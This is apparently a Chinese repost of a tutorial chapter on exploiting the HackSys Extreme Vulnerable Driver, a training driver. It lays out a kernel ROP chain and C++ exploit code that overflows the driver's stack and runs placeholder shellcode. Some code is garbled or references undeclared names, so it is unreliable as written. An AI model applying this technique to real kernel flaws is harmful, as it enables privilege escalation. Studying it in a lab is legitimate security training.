[使用 HEVD 破解 Windows 内核]第 3 章:触发 shellcode

admin 2024年11月27日22:55:48评论3 views字数 8961阅读29分52秒阅读模式

触发 shellcode

我们何时在此处构建有效负载?

到目前为止,我们已经了解了正确组装可用有效负载的基础知识。现在我们已经拥有了所有必要的工具,让我们最终创建我们的有效负载。愿原力与我们同在。如果您错过了之前的帖子,请务必查看它们。

我们的 ROP 链应如下所示:

  1. xor ecx, ecx; ret; -> zeroes out our RCX register, which is the first parameter of AllocatePoolWithTag()
  2. pop rdx; ret ; -> pops 0x1000 (4096) to rdx register, which is the second parameter of AllocatePoolWithTag() and indicates the size of the pool
  3. 0x1000 -> value of rdx
  4. AllocatePoolWithTag() -> calls the AllocatePoolWithTag function. The address of the allocated pool will then be in rax
  5. mov rcx, rax; ret; -> copies the address to rcx, which will be first parameter of memcpy
  6. pop rdx; ret -> gets the source address from stack. This will be our shellcode in userland that will escalate privileges.
  7. <address of shellcode location in userland>
  8. pop r8; ret; -> gets the size from stack.
  9. <size of our shellcode to be copied>
  10. memcpy() -> calls the memcpy function and copies our payload to an executable kernel space
  11. jmp rcx; -> jumps to a register which stores the address of our shellcode in kernel land

这听起来很复杂,而且可能不会那样工作。我们很可能不得不进行一些调整。然而,计划很简单:在 kernel land 中分配一个可写且可执行的位置,将我们的 payload 复制到该位置,然后跳转到那里。我们需要找到小工具来做我们想做的事。为此,我们将使用 ropper。该工具将通过帮助我们找到小工具来帮助我们完成 ROP 之旅。

我们可能会ntoskrnl.exe复制到安装了 rapper 的机器上,然后寻找小工具!

让我们开始吧!

[使用 HEVD 破解 Windows 内核]第 3 章:触发 shellcode

这是我们得到的:

  1. 0x38cf53: xor ecx, ecx; mov rax, rcx; ret; -> Zeroes out rcx register. Also zeroes out rax, but that is ok. Couldn't find a gadget that just turned rcx into 0.
  2. 0x416748: pop rdx; ret; -> pops 0x1000 (4096), just like we planned
  3. 0x1000 -> value of rdx and size of the buffer
  4. AllocatePoolWithTag(); -> function to allocate an executable pool
  5. 0xa155de: add rsp, 0x20; ret -> will be explained later
  6. 0x20a263: push rax; pop rbx; ret; -> Moving the address in rax to rbx for later use.
  7. 0x5af724: push rax; pop r13; ret; -> Moving the addres in rax to r13
  8. 0x2c0da6: xchg r8, r13; ret; -> Now exchanging values of r13 and r8
  9. 0x93ac7a: mov rcx, r8; mov rax, rcx; ret; -> Finally moving r8 to rcx, as we wished. A single gadget in our draft (mov rcx, rax; ret) was replaced by the last three gadgets. Gadgets are hard to find! We must improvise.
  10. 0x416748: pop rdx; ret; -> Popping the address of the shellcode to rdx
  11. <ADDRESS OF SHELLCODE>
  12. 0x2017f1: pop r8; ret; -> Popping the size of the shellcode to r8
  13. <SIZE OF SHELLCODE>
  14. memcpy(); -> Address of memcpy function to copy our shellcode to the executable pool
  15. 0x408aa2: jmp rbx; -> Jumping to our shellcode. Remember we saved it for later use?

真是一团糟! 这看起来与我们预测的有效载荷相去甚远。它又乱又大。发生这种情况是因为很难找到完全适合我们需求的小工具。我们经常不得不妥协并接受一些附带损害。

还有一个问题。检查 ExAllocatePoolWithTag 的序言:[使用 HEVD 破解 Windows 内核]第 3 章:触发 shellcode

正如我们所看到的,它使用了带有影子空间的快速调用过程,也就是 home space。在此约定中,调用方必须在堆栈上为被调用方保留 32 个字节。对于 ExAllocatePoolWithTag,只需要 24 个字节。这意味着在 AllocatePoolWithTag 之后,我们必须确保将 0x18 添加到 rsp。我找到了一个可以做得很好。我将其放在 AllocatePoolWithTag 之后。 add rsp,0x20

以下是我们目前所拥有的:

  1. #include <iostream>
  2. #include <string>
  3. #include <Windows.h>
  4. #include <Psapi.h><F10>
  5. #define DEVICE_NAME "\\.\HackSysExtremeVulnerableDriver"
  6. #define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
  7. //Gadgets
  8. unsigned long long g_add_rsp_20h_ret = 0xa155de;
  9. unsigned long long g_pop_rdi_pop_r14_pop_rbx_ret = 0x20a518;
  10. unsigned long long g_xor_ecx_ecx_mov_rax_rcx_ret = 0x38cf53;
  11. unsigned long long g_pop_rdx_ret = 0x416748;
  12. unsigned long long g_push_rax_pop_rbx_ret = 0x20a263;
  13. unsigned long long g_push_rax_pop_r13_ret = 0x5af724;
  14. unsigned long long g_xchg_r8_r13_ret = 0x2c0da6;
  15. unsigned long long g_mov_rcx_r8_mov_rax_rcx_ret = 0x93ac7a;
  16. unsigned long long g_pop_r8_ret = 0x2017f1;
  17. unsigned long long g_jmp_rbx = 0x408aa2;
  18. unsigned long long kernel_ExAllocatePoolWithTag;
  19. unsigned long long kernel_memcpy;
  20. // This will store the pid for the process which privileges will be elevated
  21. DWORD pid;
  22. // Gets kernel base addr
  23. unsigned long long get_kernel_base_addr() {
  24. LPVOID drivers[1024];
  25. DWORD cbNeeded;
  26. EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
  27. return (unsigned long long)drivers[0];
  28. }
  29. // Gets handle to driver
  30. HANDLE get_handle() {
  31. HANDLE h = CreateFileA(DEVICE_NAME,
  32. FILE_READ_ACCESS | FILE_WRITE_ACCESS,
  33. FILE_SHARE_READ | FILE_SHARE_WRITE,
  34. NULL,
  35. OPEN_EXISTING,
  36. FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
  37. NULL);
  38. if (h == INVALID_HANDLE_VALUE) {
  39. printf("Failed to get handle =(n");
  40. return NULL;
  41. }
  42. return h;
  43. }
  44. //Helper function to add gadget or address to payload and increment the offset automatically
  45. void add_to_payload(char *in_buffer, SIZE_T *offset, unsigned long long *data, SIZE_T size)
  46. {
  47. memcpy(in_buffer + *offset, data, size);
  48. printf("Wrote %lx to offset %un", *data, *offset);
  49. *offset += size;
  50. }
  51. //Looks up a kernel symbol
  52. PVOID get_kernel_symbol_addr(const char *symbol) {
  53. PVOID kernelBaseAddr;
  54. HMODULE userKernelHandle;
  55. PCHAR functionAddress;
  56. unsigned long long offset;
  57. kernelBaseAddr = (PVOID)get_kernel_base_addr(); // Loaded kernel base address
  58. userKernelHandle = LoadLibraryA("C:\Windows\System32\ntoskrnl.exe"); // Opens kernel binary as lib
  59. if (userKernelHandle == INVALID_HANDLE_VALUE) {
  60. return NULL;
  61. }
  62. functionAddress = (PCHAR)GetProcAddress(userKernelHandle, symbol); // Locates the symbol address
  63. if (functionAddress == NULL) {
  64. return NULL;
  65. }
  66. offset = functionAddress - ((PCHAR)userKernelHandle); // Subtracts the library base address in memory from the function addresses.
  67. return (PVOID)(((PCHAR)kernelBaseAddr) + offset); // Adds the offset to the leaked kernel base address
  68. }
  69. // Auxiliary function to adjust the offsets for all the gadgets and used functions
  70. void adjust_offsets()
  71. {
  72. unsigned long long kernel_base_addr = get_kernel_base_addr();
  73. g_xor_ecx_ecx_mov_rax_rcx_ret += kernel_base_addr;
  74. g_pop_rdi_pop_r14_pop_rbx_ret += kernel_base_addr;
  75. g_add_rsp_20h_ret += kernel_base_addr;
  76. g_pop_rdx_ret += kernel_base_addr;
  77. g_push_rax_pop_rbx_ret += kernel_base_addr;
  78. g_push_rax_pop_r13_ret += kernel_base_addr;
  79. g_xchg_r8_r13_ret += kernel_base_addr;
  80. g_mov_rcx_r8_mov_rax_rcx_ret += kernel_base_addr;
  81. g_pop_r8_ret += kernel_base_addr;
  82. g_jmp_rbx += kernel_base_addr;
  83. kernel_ExAllocatePoolWithTag = (unsigned long long) get_kernel_symbol_addr("ExAllocatePoolWithTag");
  84. kernel_memcpy = (unsigned long long) get_kernel_symbol_addr("memcpy");
  85. printf("Primary token: %xu n", (ULONGLONG)kernel_PsReferencePrimaryToken - kernel_base_addr);
  86. printf("PsReferencePrimaryToken base addr: %xun", (ULONGLONG) kernel_PsReferencePrimaryToken - (ULONGLONG) kernel_base_addr);
  87. }
  88. //Spawns a new cmd and returns the pid for the process
  89. DWORD spawnCmd() {
  90. STARTUPINFO si;
  91. PROCESS_INFORMATION pi;
  92. char cmd[] = "C:\Windows\System32\cmd.exe";
  93. ZeroMemory(&si, sizeof(si));
  94. si.cb = sizeof(si);
  95. ZeroMemory(&pi, sizeof(pi));
  96. // Start the child process.
  97. if (!CreateProcess(NULL, // No module name (use command line)
  98. cmd, // Command line
  99. NULL, // Process handle not inheritable
  100. NULL, // Thread handle not inheritable
  101. FALSE, // Set handle inheritance to FALSE
  102. CREATE_NEW_CONSOLE, // No creation flags
  103. NULL, // Use parent's environment block
  104. NULL, // Use parent's starting directory
  105. &si, // Pointer to STARTUPINFO structure
  106. &pi) // Pointer to PROCESS_INFORMATION structure
  107. )
  108. {
  109. printf("CreateProcess failed (%d).n", GetLastError());
  110. return -1;
  111. }
  112. return pi.dwProcessId;
  113. }
  114. char *generate_shellcode() {
  115. //Generates and returns a shellcode to be executed after the ROP chain. This shellcode must do heavy lifting to elevate privileges.
  116. char *shellcode = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 64);
  117. memset(shellcode, 0xcc, 64);
  118. return shellcode;
  119. }
  120. void do_buffer_overflow(HANDLE h)
  121. {
  122. SIZE_T in_buffer_size = 2072 + 8 * 15 + 0x20; // 2072 is the offset; there are 15 8-byte long gadgets and an add rsp, 0x20.
  123. //Allocates memory for buffer
  124. PULONG in_buffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, in_buffer_size);
  125. //Fills with AAAAAAA...
  126. memset((char *)in_buffer, 'A', in_buffer_size);
  127. SIZE_T offset = 2072;
  128. //Spawns cmd and adjusts the pid
  129. pid = spawnCmd();
  130. //Adjust gadgets offsets
  131. adjust_offsets();
  132. //Our shellcode to escalate privileges. To be crafted!
  133. char *shellcode = generate_shellcode();
  134. //Arbitrary size of our shellcode
  135. unsigned long long size_of_copy = 0x100;
  136. add_to_payload((char*)in_buffer, &offset, &g_xor_ecx_ecx_mov_rax_rcx_ret, 8);
  137. add_to_payload((char*)in_buffer, &offset, &g_pop_rdx_ret, 8);
  138. add_to_payload((char*)in_buffer, &offset, &size_of_copy, 8);
  139. add_to_payload((char*)in_buffer, &offset, &kernel_ExAllocatePoolWithTag, 8);
  140. add_to_payload((char*)in_buffer, &offset, &g_add_rsp_20h_ret, 8);
  141. offset += 0x20;
  142. add_to_payload((char*)in_buffer, &offset, &g_push_rax_pop_rbx_ret, 8);
  143. add_to_payload((char*)in_buffer, &offset, &g_push_rax_pop_r13_ret, 8);
  144. add_to_payload((char*)in_buffer, &offset, &g_xchg_r8_r13_ret, 8);
  145. add_to_payload((char*)in_buffer, &offset, &g_mov_rcx_r8_mov_rax_rcx_ret, 8);
  146. add_to_payload((char*)in_buffer, &offset, &g_pop_rdx_ret, 8);
  147. add_to_payload((char*)in_buffer, &offset, (unsigned long long *)(&shellcode), 8);
  148. add_to_payload((char*)in_buffer, &offset, &g_pop_r8_ret, 8);
  149. add_to_payload((char*)in_buffer, &offset, &size_of_copy, 8);
  150. add_to_payload((char*)in_buffer, &offset, &kernel_memcpy, 8);
  151. add_to_payload((char*)in_buffer, &offset, &g_jmp_rbx, 8);
  152. system("pause");
  153. printf("Sending buffer.n");
  154. //Sends buffer
  155. bool result = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, in_buffer, (DWORD)in_buffer_size, NULL, 0, NULL, NULL);
  156. if (!result)
  157. {
  158. printf("IOCTL Failed: %Xn", GetLastError());
  159. }
  160. HeapFree(GetProcessHeap(), 0, (LPVOID)in_buffer);
  161. }
  162. int main(int argc, char **argv)
  163. {
  164. do_buffer_overflow(get_handle());
  165. system("pause");
  166. }

漏洞越来越大。让我解释一下我创建的一些函数:

add_to_payload:您提供要写入的缓冲区、当前偏移量、要复制的值和大小。它将在提供的偏移量处复制提供给缓冲区的字节数,并将在 N 中增加偏移量,其中 N 是提供的大小。

generate_shellcode:该函数会在 userland 中分配一个缓冲区,将 EoP 的 shellcode 放入其中并返回地址。我们的 ROP 链中的 Memcpy 会将 shellcode 从此函数中分配的地址复制到内核 RWX 区域。目前,它只会填充0xcc指令,在执行时触发陷阱。

spawnCmd:这将生成一个新的 cmd 并返回其 PID。这将是我们将提升权限的过程。

adjust_offsets:使用 Image Base Addr 调整所有偏移量的函数。

此漏洞将触发基于堆栈的溢出,该溢出将在堆栈中执行我们的 ROPChain。ROPChain 将分配可执行(和可写)空间来分配我们的 shellcode 并将其复制到分配的内存中。然后,它将跳转到这个内存区域并执行我们的 shellcode。shellcode 应包含说明,以提升我们进程的权限。到目前为止,你和我在一起吗? cmd

该漏洞应该会在 WinDBG 上触发一个陷阱。让我们试试:

[使用 HEVD 破解 Windows 内核]第 3 章:触发 shellcode

我不相信这奏效了!调试器捕获了我们的陷阱。现在我们 “所有” 所要做的就是制作一个 shellcode 来提升权限并优雅地(或尽可能优雅地)返回 userland。

 

原文始发于微信公众号(sec0nd安全):[使用 HEVD 破解 Windows 内核]第 3 章:触发 shellcode

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日22:55:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [使用 HEVD 破解 Windows 内核]第 3 章:触发 shellcodehttps://cn-sec.com/archives/3442703.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息